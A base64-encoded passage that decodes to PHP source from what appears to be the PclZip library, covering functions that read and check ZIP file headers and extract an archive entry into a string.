J0SGVhZGVyMkZpbGVJbmZvKCRwX2VudHJ5LCAkdl9sb2NhbF9oZWFkZXIpOwoKICAgICAgLy8gLS0tLS0gQ2FsbCB0aGUgY2FsbGJhY2sKICAgICAgLy8gSGVyZSBJIGRvIG5vdCB1c2UgY2FsbF91c2VyX2Z1bmMoKSBiZWNhdXNlIEkgbmVlZCB0byBzZW5kIGEgcmVmZXJlbmNlIHRvIHRoZQogICAgICAvLyBoZWFkZXIuCiAgICAgICR2X3Jlc3VsdCA9ICRwX29wdGlvbnNbUENMWklQX0NCX1BPU1RfRVhUUkFDVF0oUENMWklQX0NCX1BPU1RfRVhUUkFDVCwgJHZfbG9jYWxfaGVhZGVyKTsKCiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIGFib3J0IHJlc3VsdAogICAgICBpZiAoJHZfcmVzdWx0ID09IDIpIHsKICAgICAgCSR2X3Jlc3VsdCA9IFBDTFpJUF9FUlJfVVNFUl9BQk9SVEVEOwogICAgICB9CiAgICB9CgogICAgcmV0dXJuICR2X3Jlc3VsdDsKICB9CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAvLyBGdW5jdGlvbiA6IHByaXZFeHRyYWN0RmlsZUFzU3RyaW5nKCkKICAvLyBEZXNjcmlwdGlvbiA6CiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBwcml2RXh0cmFjdEZpbGVBc1N0cmluZygmJHBfZW50cnksICYkcF9zdHJpbmcsICYkcF9vcHRpb25zKQogIHsKICAgICR2X3Jlc3VsdD0xOwoKICAgIC8vIC0tLS0tIFJlYWQgdGhlIGZpbGUgaGVhZGVyCiAgICAkdl9oZWFkZXIgPSBhcnJheSgpOwogICAgaWYgKCgkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdlJlYWRGaWxlSGVhZGVyKCR2X2hlYWRlcikpICE9IDEpCiAgICB7CiAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgfQoKCiAgICAvLyAtLS0tLSBDaGVjayB0aGF0IHRoZSBmaWxlIGhlYWRlciBpcyBjb2hlcmVudCB3aXRoICRwX2VudHJ5IGluZm8KICAgIGlmICgkdGhpcy0+cHJpdkNoZWNrRmlsZUhlYWRlcnMoJHZfaGVhZGVyLCAkcF9lbnRyeSkgIT0gMSkgewogICAgICAgIC8vIFRCQwogICAgfQoKICAgIC8vIC0tLS0tIExvb2sgZm9yIHByZS1leHRyYWN0IGNhbGxiYWNrCiAgICBpZiAoaXNzZXQoJHBfb3B0aW9uc1tQQ0xaSVBfQ0JfUFJFX0VYVFJBQ1RdKSkgewoKICAgICAgLy8gLS0tLS0gR2VuZXJhdGUgYSBsb2NhbCBpbmZvcm1hdGlvbgogICAgICAkdl9sb2NhbF9oZWFkZXIgPSBhcnJheSgpOwogICAgICAkdGhpcy0+cHJpdkNvbnZlcnRIZWFkZXIyRmlsZUluZm8oJHBfZW50cnksICR2X2xvY2FsX2hlYWRlcik7CgogICAgICAvLyAtLS0tLSBDYWxsIHRoZSBjYWxsYmFjawogICAgICAvLyBIZXJlIEkgZG8gbm90IHVzZSBjYWxsX3VzZXJfZnVuYygpIGJlY2F1c2UgSSBuZWVkIHRvIHNlbmQgYSByZWZlcmVuY2UgdG8gdGhlCiAgICAgIC8vIGhlYWRlci4KICAgICAgJHZfcmVzdWx0ID0gJHBfb3B0aW9uc1tQQ0xaSVBfQ0JfUFJFX0VYVFJBQ1RdKFBDTFpJUF9DQl9QUkVfRVhUUkFDVCwgJHZfbG9jYWxfaGVhZGVyKTsKICAgICAgaWYgKCR2X3Jlc3VsdCA9PSAwKSB7CiAgICAgICAgLy8gLS0tLS0gQ2hhbmdlIHRoZSBmaWxlIHN0YXR1cwogICAgICAgICRwX2VudHJ5WydzdGF0dXMnXSA9ICJza2lwcGVkIjsKICAgICAgICAkdl9yZXN1bHQgPSAxOwogICAgICB9CgogICAgICAvLyAtLS0tLSBMb29rIGZvciBhYm9ydCByZXN1bHQKICAgICAgaWYgKCR2X3Jlc3VsdCA9PSAyKSB7CiAgICAgICAgLy8gLS0tLS0gVGhpcyBzdGF0dXMgaXMgaW50ZXJuYWwgYW5kIHdpbGwgYmUgY2hhbmdlZCBpbiAnc2tpcHBlZCcKICAgICAgICAkcF9lbnRyeVsnc3RhdHVzJ10gPSAiYWJvcnRlZCI7CiAgICAgIAkkdl9yZXN1bHQgPSBQQ0xaSVBfRVJSX1VTRVJfQUJPUlRFRDsKICAgICAgfQoKICAgICAgLy8gLS0tLS0gVXBkYXRlIHRoZSBpbmZvcm1hdGlvbnMKICAgICAgLy8gT25seSBzb21lIGZpZWxkcyBjYW4gYmUgbW9kaWZpZWQKICAgICAgJHBfZW50cnlbJ2ZpbGVuYW1lJ10gPSAkdl9sb2NhbF9oZWFkZXJbJ2ZpbGVuYW1lJ107CiAgICB9CgoKICAgIC8vIC0tLS0tIExvb2sgaWYgZXh0cmFjdGlvbiBzaG91bGQgYmUgZG9uZQogICAgaWYgKCRwX2VudHJ5WydzdGF0dXMnXSA9PSAnb2snKSB7CgogICAgICAvLyAtLS0tLSBEbyB0aGUgZXh0cmFjdGlvbiAoaWYgbm90IGEgZm9sZGVyKQogICAgICBpZiAoISgoJHBfZW50cnlbJ2V4dGVybmFsJ10mMHgwMDAwMDAxMCk9PTB4MDAwMDAwMTApKSB7CiAgICAgICAgLy8gLS0tLS0gTG9vayBmb3Igbm90IGNvbXByZXNzZWQgZmlsZQogIC8vICAgICAgaWYgKCRwX2VudHJ5Wydjb21wcmVzc2VkX3NpemUnXSA9PSAkcF9lbnRyeVsnc2l6ZSddKQogICAgICAgIGlmICgkcF9lbnRyeVsnY29tcHJlc3Npb24nXSA9PSAwKSB7CgogICAgICAgICAgLy8gLS0tLS0gUmVhZGluZyB0aGUgZmlsZQogICAgICAgICAgJHBfc3RyaW5nID0gQGZyZWFkKCR0aGlzLT56aXBfZmQsICRwX2VudHJ5Wydjb21wcmVzc2VkX3NpemUnXSk7CiAgICAgICAgfQogICAgICAgIGVsc2UgewoKICAgICAgICAgIC8vIC0tLS0tIFJlYWRpbmcgdGhlIGZpbGUKICAgICAgICAgICR2X2RhdGEgPSBAZnJlYWQoJHRoaXMtPnppcF9mZCwgJHBfZW50cnlbJ2NvbXByZXNzZWRfc2l6ZSddKTsKCiAgICAgICAgICAvLyAtLS0tLSBEZWNvbXByZXNzIHRoZSBmaWxlCiAgICAgICAgICBpZiAoKCRwX3N0cmluZyA9IEBnemluZmxhdGUoJHZfZGF0YSkpID09PSBGQUxTRSkgewogICAgICAgICAgICAgIC8vIFRCQwogICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gLS0tLS0gVHJhY2UKICAgICAgfQogICAgICBlbHNlIHsKICAgICAgICAgIC8vIFRCQyA6IGVycm9yIDogY2FuIG5vdCBleHRyYWN0IGEgZm9sZGVyIGluIGEgc3RyaW5nCiAgICAgIH0KCiAgICB9CgogIAkvLyAtLS0tLSBDaGFuZ2UgYWJvcnQgc3RhdHVzCiAgCWlmICgkcF9lbnRyeVsnc3RhdHVzJ10gPT0gImFib3J0ZWQiKSB7CiAgICAgICAgJHBfZW50cnlbJ3N0YXR1cyddID0gInNraXBwZWQiOwogIAl9CgogICAgLy8gLS0tLS0gTG9vayBmb3IgcG9zdC1leHRyYWN0IGNhbGxiYWNrCiAgICBlbHNlaWYgKGlzc2V0KCRwX29wdGlvbnNbUENMWklQX0NCX1BPU1RfRVhUUkFDVF0pKSB7CgogICAgICAvLyAtLS0tLSBHZW5lcmF0ZSBhIGxvY2FsIGluZm9ybWF0aW9uCiAgICAgICR2X2xvY2FsX2hlYWRlciA9IGFycmF5KCk7CiAgICAgICR0aGlzLT5wcml2Q29udmVydEhlYWRlcjJGaWxlSW5mbygkcF9lbnRyeSwgJHZfbG9jYWxfaGVhZGVyKTsKCiAgICAgIC8vIC0tLS0tIFN3YXAgdGhlIGNvbnRlbnQgdG8gaGVhZGVyCiAgICAgICR2X2xvY2FsX2hlYWRlclsnY29udGVudCddID0gJHBfc3RyaW5nOwogICAgICAkcF9zdHJpbmcgPSAnJzsKCiAgICAgIC8vIC0tLS0tIENhbGwgdGhlIGNhbGxiYWNrCiAgICAgIC8vIEhlcmUgSSBkbyBub3QgdXNlIGNhbGxfdXNlcl9mdW5jKCkgYmVjYXVzZSBJIG5lZWQgdG8gc2VuZCBhIHJlZmVyZW5jZSB0byB0aGUKICAgICAgLy8gaGVhZGVyLgogICAgICAkdl9yZXN1bHQgPSAkcF9vcHRpb25zW1BDTFpJUF9DQl9QT1NUX0VYVFJBQ1RdKFBDTFpJUF9DQl9QT1NUX0VYVFJBQ1QsICR2X2xvY2FsX2hlYWRlcik7CgogICAgICAvLyAtLS0tLSBTd2FwIGJhY2sgdGhlIGNvbnRlbnQgdG8gaGVhZGVyCiAgICAgICRwX3N0cmluZyA9ICR2X2xvY2FsX2hlYWRlclsnY29udGVudCddOwogICAgICB1bnNldCgkdl9sb2NhbF9oZWFkZXJbJ2NvbnRlbnQnXSk7CgogICAgICAvLyAtLS0tLSBMb29rIGZvciBhYm9ydCByZXN1bHQKICAgICAgaWYgKCR2X3Jlc3VsdCA9PSAyKSB7CiAgICAgIAkkdl9yZXN1bHQgPSBQQ0xaSVBfRVJSX1VTRVJfQUJPUlRFRDsKICAgICAgfQogICAgfQoKICAgIC8vIC0tLS0tIFJldHVybgogICAgcmV0dXJuICR2X3Jlc3VsdDsKICB9CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAvLyBGdW5jdGlvbiA6IHByaXZSZWFkRmlsZUhlYWRlcigpCiAgLy8gRGVzY3JpcHRpb24gOgogIC8vIFBhcmFtZXRlcnMgOgogIC8vIFJldHVybiBWYWx1ZXMgOgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgZnVuY3Rpb24gcHJpdlJlYWRGaWxlSGVhZGVyKCYkcF9oZWFkZXIpCiAgewogICAgJHZfcmVzdWx0PTE7CgogICAgLy8gLS0tLS0gUmVhZCB0aGUgNCBieXRlcyBzaWduYXR1cmUKICAgICR2X2JpbmFyeV9kYXRhID0gQGZyZWFkKCR0aGlzLT56aXBfZmQsIDQpOwogICAgJHZfZGF0YSA9IHVucGFjaygnVmlkJywgJHZfYmluYXJ5X2RhdGEpOwoKICAgIC8vIC0tLS0tIENoZWNrIHNpZ25hdHVyZQogICAgaWYgKCR2X2RhdGFbJ2lkJ10gIT0gMHgwNDAzNGI1MCkKICAgIHsKCiAgICAgIC8vIC0tLS0tIEVycm9yIGxvZwogICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX0JBRF9GT1JNQVQsICdJbnZhbGlkIGFyY2hpdmUgc3RydWN0dXJlJyk7CgogICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICB9CgogICAgLy8gLS0tLS0gUmVhZCB0aGUgZmlyc3QgNDIgYnl0ZXMgb2YgdGhlIGhlYWRlcgogICAgJHZfYmluYXJ5X2RhdGEgPSBmcmVhZCgkdGhpcy0+emlwX2ZkLCAyNik7CgogICAgLy8gLS0tLS0gTG9vayBmb3IgaW52YWxpZCBibG9jayBzaXplCiAgICBpZiAoc3RybGVuKCR2X2JpbmFyeV9kYXRhKSAhPSAyNikKICAgIHsKICAgICAgJHBfaGVhZGVyWydmaWxlbmFtZSddID0gIiI7CiAgICAgICRwX2hlYWRlclsnc3RhdHVzJ10gPSAiaW52YWxpZF9oZWFkZXIiOwoKICAgICAgLy8gLS0tLS0gRXJyb3IgbG9nCiAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfQkFEX0ZPUk1BVCwgIkludmFsaWQgYmxvY2sgc2l6ZSA6ICIuc3RybGVuKCR2X2JpbmFyeV9kYXRhKSk7CgogICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICB9CgogICAgLy8gLS0tLS0gRXh0cmFjdCB0aGUgdmFsdWVzCiAgICAkdl9kYXRhID0gdW5wYWNrKCd2dmVyc2lvbi92ZmxhZy92Y29tcHJlc3Npb24vdm10aW1lL3ZtZGF0ZS9WY3JjL1Zjb21wcmVzc2VkX3NpemUvVnNpemUvdmZpbGVuYW1lX2xlbi92ZXh0cmFfbGVuJywgJHZfYmluYXJ5X2RhdGEpOwoKICAgIC8vIC0tLS0tIEdldCBmaWxlbmFtZQogICAgJHBfaGVhZGVyWydmaWxlbmFtZSddID0gZnJlYWQoJHRoaXMtPnppcF9mZCwgJHZfZGF0YVsnZmlsZW5hbWVfbGVuJ10pOwoKICAgIC8vIC0tLS0tIEdldCBleHRyYV9maWVsZHMKICAgIGlmICgkdl9kYXRhWydleHRyYV9sZW4nXSAhPSAwKSB7CiAgICAgICRwX2hlYWRlclsnZXh0cmEnXSA9IGZyZWFkKCR0aGlzLT56aXBfZmQsICR2X2RhdGFbJ2V4dHJhX2xlbiddKTsKICAgIH0KICAgIGVsc2UgewogICAgICAkcF9oZWFkZXJbJ2V4dHJhJ10gPSAnJzsKICAgIH0KCiAgICAvLyAtLS0tLSBFeHRyYWN0IHByb3BlcnRpZXMKICAgICRwX2hlYWRlclsndmVyc2lvbl9leHRyYWN0ZWQnXSA9ICR2X2RhdGFbJ3ZlcnNpb24nXTsKICAgICRwX2hlYWRlclsnY29tcHJlc3Npb24nXSA9ICR2X2RhdGFbJ2NvbXByZXNzaW9uJ107CiAgICAkcF9oZWFkZXJbJ3NpemUnXSA9ICR2X2RhdGFbJ3NpemUnXTsKICAgICRwX2hlYWRlclsnY29tcHJlc3NlZF9zaXplJ10gPSAkdl9kYXRhWydjb21wcmVzc2VkX3NpemUnXTsKICAgICRwX2hlYWRlclsnY3JjJ10gPSAkdl9kYXRhWydjcmMnXTsKICAgICRwX2hlYWRlclsnZmxhZyddID0gJHZfZGF0YVsnZmxhZyddOwogICAgJHBfaGVhZGVyWydmaWxlbmFtZV9sZW4nXSA9ICR2X2RhdGFbJ2ZpbGVuYW1lX2xlbiddOwoKICAgIC8vIC0tLS0tIFJlY3VwZXJhdGUgZGF0ZSBpbiBVTklYIGZvcm1hdAogICAgJHBfaGVhZGVyWydtZGF0ZSddID0gJHZfZGF0YVsnbWRhdGUnXTsKICAgICRwX2hlYWRlclsnbXRpbWUnXSA9ICR2X2RhdGFbJ210aW1lJ107CiAgICBpZiAoJHBfaGVhZGVyWydtZGF0ZSddICYmICRwX2hlYWRlclsnbXRpbWUnXSkKICAgIHsKICAgICAgLy8gLS0tLS0gRXh0cmFjdCB0aW1lCiAgICAgICR2X2hvdXIgPSAoJHBfaGVhZGVyWydtdGltZSddICYgMHhGODAwKSA+PiAxMTsKICAgICAgJHZfbWludXRlID0gKCRwX2hlYWRlclsnbXRpbWUnXSAmIDB4MDdFMCkgPj4gNTsKICAgICAgJHZfc2Vjb25kZSA9ICgkcF9oZWFkZXJbJ210aW1lJ10gJiAweDAwMUYpKjI7CgogICAgICAvLyAtLS0tLSBFeHRyYWN0IGRhdGUKICAgICAgJHZfeWVhciA9ICgoJHBfaGVhZGVyWydtZGF0ZSddICYgMHhGRTAwKSA+PiA5KSArIDE5ODA7CiAgICAgICR2X21vbnRoID0gKCRwX2hlYWRlclsnbWRhdGUnXSAmIDB4MDFFMCkgPj4gNTsKICAgICAgJHZfZGF5ID0gJHBfaGVhZGVyWydtZGF0ZSddICYgMHgwMDFGOwoKICAgICAgLy8gLS0tLS0gR2V0IFVOSVggZGF0ZSBmb3JtYXQKICAgICAgJHBfaGVhZGVyWydtdGltZSddID0gQG1rdGltZSgkdl9ob3VyLCAkdl9taW51dGUsICR2X3NlY29uZGUsICR2X21vbnRoLCAkdl9kYXksICR2X3llYXIpOwoKICAgIH0KICAgIGVsc2UKICAgIHsKICAgICAgJHBfaGVhZGVyWydtdGltZSddID0gdGltZSgpOwogICAgfQoKICAgIC8vIFRCQwogICAgLy9mb3IocmVzZXQoJHZfZGF0YSk7ICRrZXkgPSBrZXkoJHZfZGF0YSk7IG5leHQoJHZfZGF0YSkpIHsKICAgIC8vfQoKICAgIC8vIC0tLS0tIFNldCB0aGUgc3RvcmVkIGZpbGVuYW1lCiAgICAkcF9oZWFkZXJbJ3N0b3JlZF9maWxlbmFtZSddID0gJHBfaGVhZGVyWydmaWxlbmFtZSddOwoKICAgIC8vIC0tLS0tIFNldCB0aGUgc3RhdHVzIGZpZWxkCiAgICAkcF9oZWFkZXJbJ3N0YXR1cyddID0gIm9rIjsKCiAgICAvLyAtLS0tLSBSZXR1cm4KICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBwcml2UmVhZENlbnRyYWxGaWxlSGVhZGVyKCkKICAvLyBEZXNjcmlwdGlvbiA6CiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBwcml2UmVhZENlbnRyYWxGaWxlSGVhZGVyKCYkcF9oZWFkZXIpCiAgewogICAgJHZfcmVzdWx0PTE7CgogICAgLy8gLS0tLS0gUmVhZCB0aGUgNCBieXRlcyBzaWduYXR1cmUKICAgICR2X2JpbmFyeV9kYXRhID0gQGZyZWFkKCR0aGlzLT56aXBfZmQsIDQpOwogICAgJHZfZGF0YSA9IHVucGFjaygnVmlkJywgJHZfYmluYXJ5X2RhdGEpOwoKICAgIC8vIC0tLS0tIENoZWNrIHNpZ25hdHVyZQogICAgaWYgKCR2X2RhdGFbJ2lkJ10gIT0gMHgwMjAxNGI1MCkKICAgIHsKCiAgICAgIC8vIC0tLS0tIEVycm9yIGxvZwogICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX0JBRF9GT1JNQVQsICdJbnZhbGlkIGFyY2hpdmUgc3RydWN0dXJlJyk7CgogICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICB9CgogICAgLy8gLS0tLS0gUmVhZCB0aGUgZmlyc3QgNDIgYnl0ZXMgb2YgdGhlIGhlYWRlcgogICAgJHZfYmluYXJ5X2RhdGEgPSBmcmVhZCgkdGhpcy0+emlwX2ZkLCA0Mik7CgogICAgLy8gLS0tLS0gTG9vayBmb3IgaW52YWxpZCBibG9jayBzaXplCiAgICBpZiAoc3RybGVuKCR2X2JpbmFyeV9kYXRhKSAhPSA0MikKICAgIHsKICAgICAgJHBfaGVhZGVyWydmaWxlbmFtZSddID0gIiI7CiAgICAgICRwX2hlYWRlclsnc3RhdHVzJ10gPSAiaW52YWxpZF9oZWFkZXIiOwoKICAgICAgLy8gLS0tLS0gRXJyb3IgbG9nCiAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfQkFEX0ZPUk1BVCwgIkludmFsaWQgYmxvY2sgc2l6ZSA6ICIuc3RybGVuKCR2X2JpbmFyeV9kYXRhKSk7CgogICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICB9CgogICAgLy8gLS0tLS0gRXh0cmFjdCB0aGUgdmFsdWVzCiAgICAkcF9oZWFkZXIgPSB1bnBhY2soJ3Z2ZXJzaW9uL3Z2ZXJzaW9uX2V4dHJhY3RlZC92ZmxhZy92Y29tcHJlc3Npb24vdm10aW1lL3ZtZGF0ZS9WY3JjL1Zjb21wcmVzc2VkX3NpemUvVnNpemUvdmZpbGVuYW1lX2xlbi92ZXh0cmFfbGVuL3Zjb21tZW50X2xlbi92ZGlzay92aW50ZXJuYWwvVmV4dGVybmFsL1ZvZmZzZXQnLCAkdl9iaW5hcnlfZGF0YSk7CgogICAgLy8gLS0tLS0gR2V0IGZpbGVuYW1lCiAgICBpZiAoJHBfaGVhZGVyWydmaWxlbmFtZV9sZW4nXSAhPSAwKQogICAgICAkcF9oZWFkZXJbJ2ZpbGVuYW1lJ10gPSBmcmVhZCgkdGhpcy0+emlwX2ZkLCAkcF9oZWFkZXJbJ2ZpbGVuYW1lX2xlbiddKTsKICAgIGVsc2UKICAgICAgJHBfaGVhZGVyWydmaWxlbmFtZSddID0gJyc7CgogICAgLy8gLS0tLS0gR2V0IGV4dHJhCiAgICBpZiAoJHBfaGVhZGVyWydleHRyYV9sZW4nXSAhPSAwKQogICAgICAkcF9oZWFkZXJbJ2V4dHJhJ10gPSBmcmVhZCgkdGhpcy0+emlwX2ZkLCAkcF9oZWFkZXJbJ2V4dHJhX2xlbiddKTsKICAgIGVsc2UKICAgICAgJHBfaGVhZGVyWydleHRyYSddID0gJyc7CgogICAgLy8gLS0tLS0gR2V0IGNvbW1lbnQKICAgIGlmICgkcF9oZWFkZXJbJ2NvbW1lbnRfbGVuJ10gIT0gMCkKICAgICAgJHBfaGVhZGVyWydjb21tZW50J10gPSBmcmVhZCgkdGhpcy0+emlwX2ZkLCAkcF9oZWFkZXJbJ2NvbW1lbnRfbGVuJ10pOwogICAgZWxzZQogICAgICAkcF9oZWFkZXJbJ2NvbW1lbnQnXSA9ICcnOwoKICAgIC8vIC0tLS0tIEV4dHJhY3QgcHJvcGVydGllcwoKICAgIC8vIC0tLS0tIFJlY3VwZXJhdGUgZGF0ZSBpbiBVTklYIGZvcm1hdAogICAgLy9pZiAoJHBfaGVhZGVyWydtZGF0ZSddICYmICRwX2hlYWRlclsnbXRpbWUnXSkKICAgIC8vIFRCQyA6IGJ1ZyA6IHRoaXMgd2FzIGlnbm9yaW5nIHRpbWUgd2l0aCAwLzAvMAogICAgaWYgKDEpCiAgICB7CiAgICAgIC8vIC0tLS0tIEV4dHJhY3QgdGltZQogICAgICAkdl9ob3VyID0gKCRwX2hlYWRlclsnbXRpbWUnXSAmIDB4RjgwMCkgPj4gMTE7CiAgICAgICR2X21pbnV0ZSA9ICgkcF9oZWFkZXJbJ210aW1lJ10gJiAweDA3RTApID4+IDU7CiAgICAgICR2X3NlY29uZGUgPSAoJHBfaGVhZGVyWydtdGltZSddICYgMHgwMDFGKSoyOwoKICAgICAgLy8gLS0tLS0gRXh0cmFjdCBkYXRlCiAgICAgICR2X3llYXIgPSAoKCRwX2hlYWRlclsnbWRhdGUnXSAmIDB4RkUwMCkgPj4gOSkgKyAxOTgwOwogICAgICAkdl9tb250aCA9ICgkcF9oZWFkZXJbJ21kYXRlJ10gJiAweDAxRTApID4+IDU7CiAgICAgICR2X2RheSA9ICRwX2hlYWRlclsnbWRhdGUnXSAmIDB4MDAxRjsKCiAgICAgIC8vIC0tLS0tIEdldCBVTklYIGRhdGUgZm9ybWF0CiAgICAgICRwX2hlYWRlclsnbXRpbWUnXSA9IEBta3RpbWUoJHZfaG91ciwgJHZfbWludXRlLCAkdl9zZWNvbmRlLCAkdl9tb250aCwgJHZfZGF5LCAkdl95ZWFyKTsKCiAgICB9CiAgICBlbHNlCiAgICB7CiAgICAgICRwX2hlYWRlclsnbXRpbWUnXSA9IHRpbWUoKTsKICAgIH0KCiAgICAvLyAtLS0tLSBTZXQgdGhlIHN0b3JlZCBmaWxlbmFtZQogICAgJHBfaGVhZGVyWydzdG9yZWRfZmlsZW5hbWUnXSA9ICRwX2hlYWRlclsnZmlsZW5hbWUnXTsKCiAgICAvLyAtLS0tLSBTZXQgZGVmYXVsdCBzdGF0dXMgdG8gb2sKICAgICRwX2hlYWRlclsnc3RhdHVzJ10gPSAnb2snOwoKICAgIC8vIC0tLS0tIExvb2sgaWYgaXQgaXMgYSBkaXJlY3RvcnkKICAgIGlmIChzdWJzdHIoJHBfaGVhZGVyWydmaWxlbmFtZSddLCAtMSkgPT0gJy8nKSB7CiAgICAgIC8vJHBfaGVhZGVyWydleHRlcm5hbCddID0gMHg0MUZGMDAxMDsKICAgICAgJHBfaGVhZGVyWydleHRlcm5hbCddID0gMHgwMDAwMDAxMDsKICAgIH0KCgogICAgLy8gLS0tLS0gUmV0dXJuCiAgICByZXR1cm4gJHZfcmVzdWx0OwogIH0KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIC8vIEZ1bmN0aW9uIDogcHJpdkNoZWNrRmlsZUhlYWRlcnMoKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyBQYXJhbWV0ZXJzIDoKICAvLyBSZXR1cm4gVmFsdWVzIDoKICAvLyAgIDEgb24gc3VjY2VzcywKICAvLyAgIDAgb24gZXJyb3I7CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBwcml2Q2hlY2tGaWxlSGVhZGVycygmJHBfbG9jYWxfaGVhZGVyLCAmJHBfY2VudHJhbF9oZWFkZXIpCiAgewogICAgJHZfcmVzdWx0PTE7CgogIAkvLyAtLS0tLSBDaGVjayB0aGUgc3RhdGljIHZhbHVlcwogIAkvLyBUQkMKICAJaWYgKCRwX2xvY2FsX2hlYWRlclsnZmlsZW5hbWUnXSAhPSAkcF9jZW50cmFsX2hlYWRlclsnZmlsZW5hbWUnXSkgewogIAl9CiAgCWlmICgkcF9sb2NhbF9oZWFkZXJbJ3ZlcnNpb25fZXh0cmFjdGVkJ10gIT0gJHBfY2VudHJhbF9oZWFkZXJbJ3ZlcnNpb25fZXh0cmFjdGVkJ10pIHsKICAJfQogIAlpZiAoJHBfbG9jYWxfaGVhZGVyWydmbGFnJ10gIT0gJHBfY2VudHJhbF9oZWFkZXJbJ2ZsYWcnXSkgewogIAl9CiAgCWlmICgkcF9sb2NhbF9oZWFkZXJbJ2NvbXByZXNzaW9uJ10gIT0gJHBfY2VudHJhbF9oZWFkZXJbJ2NvbXByZXNzaW9uJ10pIHsKICAJfQogIAlpZiAoJHBfbG9jYWxfaGVhZGVyWydtdGltZSddICE9ICRwX2NlbnRyYWxfaGVhZGVyWydtdGltZSddKSB7CiAgCX0KICAJaWYgKCRwX2xvY2FsX2hlYWRlclsnZmlsZW5hbWVfbGVuJ10gIT0gJHBfY2VudHJhbF9oZWFkZXJbJ2ZpbGVuYW1lX2xlbiddKSB7CiAgCX0KCiAgCS8vIC0tLS0tIExvb2sgZm9yIGZsYWcgYml0IDMKICAJaWYgKCgkcF9sb2NhbF9oZWFkZXJbJ2ZsYWcnXSAmIDgpID09IDgpIHsKICAgICAgICAgICRwX2xvY2FsX2hlYWRlclsnc2l6ZSddID0gJHBfY2VudHJhbF9oZWFkZXJbJ3NpemUnXTsKICAgICAgICAgICRwX2xvY2FsX2hlYWRlclsnY29tcHJlc3NlZF9zaXplJ10gPSAkcF9jZW50cmFsX2hlYWRlclsnY29tcHJlc3NlZF9zaXplJ107CiAgICAgICAgICAkcF9sb2NhbF9oZWFkZXJbJ2NyYyddID0gJHBfY2VudHJhbF9oZWFkZXJbJ2NyYyddOwogIAl9CgogICAgLy8gLS0tLS0gUmV0dXJuCiAgICByZXR1cm4gJHZfcmVzdWx0OwogIH0KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKICAvLyAtLS0tLS0tLS0tLS0tLS0t